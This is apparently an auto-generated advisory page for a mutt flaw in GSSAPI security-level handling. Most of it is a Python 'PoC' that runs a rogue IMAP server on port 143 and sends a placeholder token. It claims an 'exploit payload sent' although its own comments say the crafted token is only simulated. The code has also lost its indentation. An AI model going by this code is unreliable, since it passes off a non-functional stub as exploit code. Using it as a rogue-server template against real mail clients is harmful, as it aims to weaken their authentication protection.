In mutt before 2.3.2, the imap_auth_gss security level is mishandled.
CVSS Details
CVSS Score
3.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
Configurations (Affected Products)
No configuration data available.
Mutt < 2.3.2
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Conceptual PoC for CVE-2026-43862
# This script demonstrates a setup to test the GSSAPI handling issue.
# It simulates a server interaction that might trigger the security level mishandling.
import socket
import time
def trigger_vulnerability():
# 1. Setup a listener to act as the IMAP server
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind(('0.0.0.0', 143))
server_socket.listen(1)
print("[+] Malicious IMAP server listening on port 143...")
conn, addr = server_socket.accept()
print(f"[+] Connection received from {addr}")
# 2. Send IMAP greeting
conn.send(b"* OK [CAPABILITY IMAP4rev1 AUTH=GSSAPI] Server Ready\r\n")
# 3. Wait for AUTHENTICATE command
data = conn.recv(1024)
if b"AUTHENTICATE GSSAPI" in data:
print("[+] Client initiating GSSAPI auth...")
# 4. Send response to continue authentication
# Exploit: The server might send a token that implies a lower security level
# than required, which mutt < 2.3.2 fails to reject properly.
conn.send(b"+ \r\n")
# Receive client token
client_token = conn.recv(4096)
print(f"[+] Received client token length: {len(client_token)}")
# 5. Here an attacker would respond with a crafted GSSAPI token
# bypassing the integrity check logic.
# For demonstration, we simulate the acceptance.
response = b"+ AQA=" # Simplified token
conn.send(response + b"\r\n")
print("[+] Exploit payload sent. Check if integrity protection is bypassed.")
time.sleep(1)
conn.close()
server_socket.close()
if __name__ == "__main__":
trigger_vulnerability()